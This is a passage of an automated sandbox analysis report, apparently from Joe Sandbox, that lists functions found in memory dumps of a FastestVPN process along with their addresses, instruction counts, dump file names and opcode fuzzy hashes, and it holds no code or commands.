                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2b21f182dd17034bf4eb3f0e32afe4b626f5625dbf71396d12a7485d71bbc4a1
                                                                                                                      • Instruction ID: 7f0f756eaa570e2447518af7781318d27af6b216a1d6db1f47c0e237ebd2b81f
                                                                                                                      • Opcode Fuzzy Hash: 2b21f182dd17034bf4eb3f0e32afe4b626f5625dbf71396d12a7485d71bbc4a1
                                                                                                                      • Instruction Fuzzy Hash: 6F41A034604654CFCB46DB68E4988AEBFB5EF8921070544CEE4598B363C7349E09CBA1
                                                                                                                      Function 0B4BCD48 Relevance: .1, Instructions: 106COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d39e5dfc58107520e58e5409e0400e29c9bddd3baedb3f562254e31ddaff5cea
                                                                                                                      • Instruction ID: 13bba7e490f3f781d6367052087ae7555237a00cfbf45e8d7763fc9d2cedd444
                                                                                                                      • Opcode Fuzzy Hash: d39e5dfc58107520e58e5409e0400e29c9bddd3baedb3f562254e31ddaff5cea
                                                                                                                      • Instruction Fuzzy Hash: 6D31B331B006159BDB28DF69D494AAFBBE6EFC5600B14856EC506A7341DF31EE028BE1
                                                                                                                      Function 0B51B010 Relevance: .1, Instructions: 106COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5795bf212f1e2862711a931e3e418f2e93cb4acbb092d22f254c80db143aa4d2
                                                                                                                      • Instruction ID: a1494ea5795ce0b265c26a1598d0558584192634cea2127f11364c6a0ecd2338
                                                                                                                      • Opcode Fuzzy Hash: 5795bf212f1e2862711a931e3e418f2e93cb4acbb092d22f254c80db143aa4d2
                                                                                                                      • Instruction Fuzzy Hash: A0418175F102198FDB19DF94D5809AEBBB6FF89300F1145AAE805AB344DB71AD0ADB40
                                                                                                                      Function 0B485578 Relevance: .1, Instructions: 104COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 41fa92286ad46c17ede901e3a185caf3a1e7df803db04552fd22580f6cb623e4
                                                                                                                      • Instruction ID: 9ddb54d838c7518ffda7745ac8b1d48f7a7a98b2d86cfaa5aa23ce492f1e0b4a
                                                                                                                      • Opcode Fuzzy Hash: 41fa92286ad46c17ede901e3a185caf3a1e7df803db04552fd22580f6cb623e4
                                                                                                                      • Instruction Fuzzy Hash: B9417C357003509FCB46DF38D484A6EBBB2FF8A600B1485A9E906CB356DB31DE46CB90
                                                                                                                      Function 0B516048 Relevance: .1, Instructions: 103COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c20d72e64f6d9fc4c7b0d4600e9b35ee0eec86066e49949540e2056b9e76bc17
                                                                                                                      • Instruction ID: 42ad53c7f52cbf44fa42972ea854183797393f94dbf637c1e5197fb20e6ed770
                                                                                                                      • Opcode Fuzzy Hash: c20d72e64f6d9fc4c7b0d4600e9b35ee0eec86066e49949540e2056b9e76bc17
                                                                                                                      • Instruction Fuzzy Hash: CE31A235B002158FEB04EF79E85856EBBF2BFC924071449AEC446D7395EE349D01CB91
                                                                                                                      Function 0B5139E2 Relevance: .1, Instructions: 99COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8c90efff148690c7a659671642d7927131bcaf96d194d7ec2b980a56e6c2d25c
                                                                                                                      • Instruction ID: 0150cf7081c8c4fb0ec2e7c1ff43aee778e0353fe1be12db2f75d028db9b9e1d
                                                                                                                      • Opcode Fuzzy Hash: 8c90efff148690c7a659671642d7927131bcaf96d194d7ec2b980a56e6c2d25c
                                                                                                                      • Instruction Fuzzy Hash: BB411734B04605EFEB05CF58C494899BBB2FF89324705C8D6E8168B326D731ED51CB94
                                                                                                                      Function 0B5138F0 Relevance: .1, Instructions: 99COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a37b963963f11a86bdea2bf341082d10250a306b27b27635550d56c32a8e0708
                                                                                                                      • Instruction ID: 7b11077d1e6692ed340beaa664c90aa20ad43e735cae409bdb852aeeaafc1f6c
                                                                                                                      • Opcode Fuzzy Hash: a37b963963f11a86bdea2bf341082d10250a306b27b27635550d56c32a8e0708
                                                                                                                      • Instruction Fuzzy Hash: 67314276A0010EAF9F41DF94E8408FFBBBAFB88261B14446AF915D3211D731DA25DBA0
                                                                                                                      Function 0B485588 Relevance: .1, Instructions: 96COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5b3834057ad0b59bb991da73d0d1bf459c40ab34e0cb3d1f612651282daa3078
                                                                                                                      • Instruction ID: 5241aba5014a27c7fd89e6c5c106f748daf18d2eb4bc9916a1eed160ed740320
                                                                                                                      • Opcode Fuzzy Hash: 5b3834057ad0b59bb991da73d0d1bf459c40ab34e0cb3d1f612651282daa3078
                                                                                                                      • Instruction Fuzzy Hash: 48316935B003509FDB05EF38D488A6EBBB2FF89600B108569E906CB355DB31EE46CB90
                                                                                                                      Function 0B51C5DD Relevance: .1, Instructions: 93COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6b98494c0cf642b90b23994923b94a107b4df4e66749b0a9450ec61e1b69873f
                                                                                                                      • Instruction ID: c8979249900a7f8b8b4f746b638ed131461642949988f3ac0ca7882f96b6087d
                                                                                                                      • Opcode Fuzzy Hash: 6b98494c0cf642b90b23994923b94a107b4df4e66749b0a9450ec61e1b69873f
                                                                                                                      • Instruction Fuzzy Hash: 983121317043945BEB24EB78D8606EE7FF7AFC5610F1849AAC041DB291CE758C4687A1
                                                                                                                      Function 0B48B510 Relevance: .1, Instructions: 88COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 962470b2ba068976cbe2a149e5a0a48e907b6ed44a1aab2ef328b71d5d0304f0
                                                                                                                      • Instruction ID: 900db6e4712259aaad5325677489075e68639aa3a3848facc0ead2d6b6e8c7a0
                                                                                                                      • Opcode Fuzzy Hash: 962470b2ba068976cbe2a149e5a0a48e907b6ed44a1aab2ef328b71d5d0304f0
                                                                                                                      • Instruction Fuzzy Hash: 0931BD34B002518FCB18EB39D8909AEBBF2EFC9A5471885ADD505DB365DB31DD02CB90
                                                                                                                      Function 0B4B908B Relevance: .1, Instructions: 86COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 1e47c4646ed6a3fbdcf810c8189c62ba1391f275f7c8c64b2163b1b0a0f12c41
                                                                                                                      • Instruction ID: b2743bb363f78cc715475ec39114ed73c54c82a05fe32d8cebfda5b1b1ff8cf5
                                                                                                                      • Opcode Fuzzy Hash: 1e47c4646ed6a3fbdcf810c8189c62ba1391f275f7c8c64b2163b1b0a0f12c41
                                                                                                                      • Instruction Fuzzy Hash: 9C319F31A043158FCB14DF78E98499EBBF1FFC8750B008A6AE54AC7265D730A946CB91
                                                                                                                      Function 0B4BF690 Relevance: .1, Instructions: 84COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d569a7ca82f53ef8ad34388a99c141029faf18e2958c1e2386291a24351ac920
                                                                                                                      • Instruction ID: fb549a8c2b8c0168722560b8e0e4688b946a7d88e782c9c8991b350143a8849a
                                                                                                                      • Opcode Fuzzy Hash: d569a7ca82f53ef8ad34388a99c141029faf18e2958c1e2386291a24351ac920
                                                                                                                      • Instruction Fuzzy Hash: A22191717002049FC715DB69E8908AEBBE7EFC921072584AED50ADB361DF319D06DB90
                                                                                                                      Function 0238ECD0 Relevance: .1, Instructions: 83COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e165e3d2c0fb7e283277008a837c12bd351198817773f3cced61ef972f2e0cdc
                                                                                                                      • Instruction ID: 53314ebc6a3182e424e10c8dfc214152dc6e54645ff0687ef70b428f11e5e1da
                                                                                                                      • Opcode Fuzzy Hash: e165e3d2c0fb7e283277008a837c12bd351198817773f3cced61ef972f2e0cdc
                                                                                                                      • Instruction Fuzzy Hash: AB31BF72504340EFDF06AF50D9C0B16BF66FB88324F248599FD090E256D336D46ADBA1
                                                                                                                      Function 0B4BB910 Relevance: .1, Instructions: 82COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b92a22dbded9815fc9499148f95f72fa5aeaf9815a170a89196df91d43be6ede
                                                                                                                      • Instruction ID: 6b4742440ad3648a63ad6c7cb42f16e521f2ce8f9f5c300171b2b3fb8af41e45
                                                                                                                      • Opcode Fuzzy Hash: b92a22dbded9815fc9499148f95f72fa5aeaf9815a170a89196df91d43be6ede
                                                                                                                      • Instruction Fuzzy Hash: D1211635310110CFDB149F3AD588E6A7BFAEF88A5171540AAEA0ACB371DB61DD418BA0
                                                                                                                      Function 0B51D731 Relevance: .1, Instructions: 82COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 1b6db6b7c75017f76021233a15c82b17c5c41f41ceefc47ca90e1785abf255a9
                                                                                                                      • Instruction ID: 93697cdbfcc985943226352f3872cffb5e61ce65e2d90abedacad24e631e5cfe
                                                                                                                      • Opcode Fuzzy Hash: 1b6db6b7c75017f76021233a15c82b17c5c41f41ceefc47ca90e1785abf255a9
                                                                                                                      • Instruction Fuzzy Hash: A8219E31F002148FEB26DB6CD490ADEBBF2BF89210B1485E9D415AB351D631AD05CBA0
                                                                                                                      Function 0B51BCC0 Relevance: .1, Instructions: 82COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 765d9ffda06198234adeceb6bc4d0bd61debab569099e6aaa8e038d8e1eb8364
                                                                                                                      • Instruction ID: 8fa4c6e798be597c1cc0783c02cdddb1748e5b8ea3af0faf596e137175027d3e
                                                                                                                      • Opcode Fuzzy Hash: 765d9ffda06198234adeceb6bc4d0bd61debab569099e6aaa8e038d8e1eb8364
                                                                                                                      • Instruction Fuzzy Hash: C031C271A046948FFB29CF74C864BAE7BF1BF85300F1849EAD4829B292CB749D45CB51
                                                                                                                      Function 0B4B5458 Relevance: .1, Instructions: 81COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0bb05497dea2aa304870df6f1ef516aa72fc8a7fcb3318f16770a44771443d6a
                                                                                                                      • Instruction ID: 12615a83333c677efe26d8badd751761c983d239caa675f4359486c5cb7aef3a
                                                                                                                      • Opcode Fuzzy Hash: 0bb05497dea2aa304870df6f1ef516aa72fc8a7fcb3318f16770a44771443d6a
                                                                                                                      • Instruction Fuzzy Hash: 19219C307002199FDF149F69D868EAEBBE7FB98341F404429E916D7380DB35EA018BA1
                                                                                                                      Function 0B51BCE8 Relevance: .1, Instructions: 81COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d5bd4dcd1a085a83f25a710fcbbed62478015c560c079c0ff2d2466ec353d864
                                                                                                                      • Instruction ID: ffd14dab455a4292d64532aa900b3b26e5a578d83de51fdd34df9dd0f762d1ef
                                                                                                                      • Opcode Fuzzy Hash: d5bd4dcd1a085a83f25a710fcbbed62478015c560c079c0ff2d2466ec353d864
                                                                                                                      • Instruction Fuzzy Hash: B2318B71A006158FFB28DF65C858BAEBBF5BF88700F044DADD052A7691DB74AD04CB91
                                                                                                                      Function 0238EBD4 Relevance: .1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2355fc5c37836dce0d9d46e43ffe96a761f73c2baa8729b4e4f7fa14c95bafd4
                                                                                                                      • Instruction ID: c4c78ce903bdde36505d0c40492cc66f3b31bafdbca8c1ddd2fac79f5c0fa025
                                                                                                                      • Opcode Fuzzy Hash: 2355fc5c37836dce0d9d46e43ffe96a761f73c2baa8729b4e4f7fa14c95bafd4
                                                                                                                      • Instruction Fuzzy Hash: 9821B1B2904300EFDF06AF54D9C4B16BF76FB88314F248699FA090E256C336D416CBA1
                                                                                                                      Function 0B5151A0 Relevance: .1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5bcb61e2300059cd8f6486ce319c0c9ac87c60ef8720d0e0323c3e689a857231
                                                                                                                      • Instruction ID: fb47244bee2cfd3fb4f6d36d0145d39dd6ed52c76eda20ca769d50aacd72389e
                                                                                                                      • Opcode Fuzzy Hash: 5bcb61e2300059cd8f6486ce319c0c9ac87c60ef8720d0e0323c3e689a857231
                                                                                                                      • Instruction Fuzzy Hash: EE21DD3130C7809FDB168B39E86482A7FF5FF8665030809DBE196CB262EA31EC05CB51
                                                                                                                      Function 0B516038 Relevance: .1, Instructions: 80COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 81e6b5ad0b9eef4d21178cefac45763e95587df76e4f84fa09635ec9fc671cb0
                                                                                                                      • Instruction ID: 8f6df909048327db06acc0c645396d4d2e899ceb77849aa3f238931c15eafed6
                                                                                                                      • Opcode Fuzzy Hash: 81e6b5ad0b9eef4d21178cefac45763e95587df76e4f84fa09635ec9fc671cb0
                                                                                                                      • Instruction Fuzzy Hash: 8B218F35B002158FFB04EF79E8959AEBBF6BF8920070449A9D44697365DA309D01CB90
                                                                                                                      Function 0B48A758 Relevance: .1, Instructions: 78COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3ed58ef73e35eba6e631f66245e961c2a1bb7c968176a31b6401b39a43a9d0de
                                                                                                                      • Instruction ID: 3b05472574257f9dfea5394eb4efb5fee61f4598736ea9d3a7d26f92dbee2544
                                                                                                                      • Opcode Fuzzy Hash: 3ed58ef73e35eba6e631f66245e961c2a1bb7c968176a31b6401b39a43a9d0de
                                                                                                                      • Instruction Fuzzy Hash: 76315E75A00205CFCB14DF64D484AAE77F5FF49314B2484AEE8069B361D770ED41CBA0
                                                                                                                      Function 0237D6B0 Relevance: .1, Instructions: 77COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f7cbd72e3d3a7294a120c617fc986adeaa5075353e27bfacf5217ebec289d97e
                                                                                                                      • Instruction ID: 813bd47d89dfedb9ddd6d805a12621d1ca48e911f996ecfd7936791b7af32626
                                                                                                                      • Opcode Fuzzy Hash: f7cbd72e3d3a7294a120c617fc986adeaa5075353e27bfacf5217ebec289d97e
                                                                                                                      • Instruction Fuzzy Hash: 5D2125B6504388DFDF15DF10D9C4B16BBA6FF88324F24C669E9090B656C33AD416CBA2
                                                                                                                      Function 0B48CCC8 Relevance: .1, Instructions: 77COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2f58fa6911268a8fedbccc40465b4097bb4ddb11cdf195c4aeea29c256794652
                                                                                                                      • Instruction ID: 8ba6f641ed8378982ab94a1a2baac139c31e32e7183de5dd591fae7143296f22
                                                                                                                      • Opcode Fuzzy Hash: 2f58fa6911268a8fedbccc40465b4097bb4ddb11cdf195c4aeea29c256794652
                                                                                                                      • Instruction Fuzzy Hash: 92216830A01654CFCB15EF68C9C4A6EBBF1FF49710B1584AAD8059B366D730E941CBB1
                                                                                                                      Function 0B48DD28 Relevance: .1, Instructions: 76COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 27d53fe9d5e3b00251e375eccce36ebb6888284fbc56a2e4e1278a626e8ff57a
                                                                                                                      • Instruction ID: 9d9c78202be4589be401f2e360e681091bfe1d36e8d038e901a986cb883b1013
                                                                                                                      • Opcode Fuzzy Hash: 27d53fe9d5e3b00251e375eccce36ebb6888284fbc56a2e4e1278a626e8ff57a
                                                                                                                      • Instruction Fuzzy Hash: 07217A316053809FD3269F34D494A5A7FF2EF86714B1584AEE48A8B3A3C771ED49CB50
                                                                                                                      Function 0237D524 Relevance: .1, Instructions: 75COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 95d8a13f0b498bc3f3fffe8bff1332c970ba1c4707da8d192b3f955769bb2e04
                                                                                                                      • Instruction ID: 1cfc248b7c2de4a47a154305f83ca3957791141269c3bcb3d1d4cdd269bc6302
                                                                                                                      • Opcode Fuzzy Hash: 95d8a13f0b498bc3f3fffe8bff1332c970ba1c4707da8d192b3f955769bb2e04
                                                                                                                      • Instruction Fuzzy Hash: CA2103B1504248DFDF25DF14D9C0B26BF66FF88328F20C669E8090A646C33AD456CBA2
                                                                                                                      Function 0B486308 Relevance: .1, Instructions: 75COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4bbd36268b53e693a94bcf3f1a003831df2d8fce5c499b1259adcfcac0969b72
                                                                                                                      • Instruction ID: b52f9635349d4cb0645037dbb9c95f5570ef3300be21fe7ab8f10755b854921c
                                                                                                                      • Opcode Fuzzy Hash: 4bbd36268b53e693a94bcf3f1a003831df2d8fce5c499b1259adcfcac0969b72
                                                                                                                      • Instruction Fuzzy Hash: 54217931B042159FCB15EF78D5808AEBBF6EF8925072540AEE905DB322DB31DE02CB91
                                                                                                                      Function 0B485CA0 Relevance: .1, Instructions: 74COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 77daa8adfe7fa1c5f06ca8962a8b95b6faafd8d7f4d3d8d4c3a866bd525444bb
                                                                                                                      • Instruction ID: 4f0d0cd0b2f4df83cb151342ab79670fd55cfee6f9bbb45a2e21d5dbdf1f90f8
                                                                                                                      • Opcode Fuzzy Hash: 77daa8adfe7fa1c5f06ca8962a8b95b6faafd8d7f4d3d8d4c3a866bd525444bb
                                                                                                                      • Instruction Fuzzy Hash: BF215E357043444FD324DB2DD88089ABBE6EFD922432585AEE999CF352DB71ED06CB90
                                                                                                                      Function 0238D320 Relevance: .1, Instructions: 72COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0ce052149f11262a8f8c5ded4989cea3fb133cb51f7b1480ef74ea52131f63dc
                                                                                                                      • Instruction ID: 93e939e8f005adf5d2e817ffaa851cfe1918e44730fc1be20bbed765eedfcfdf
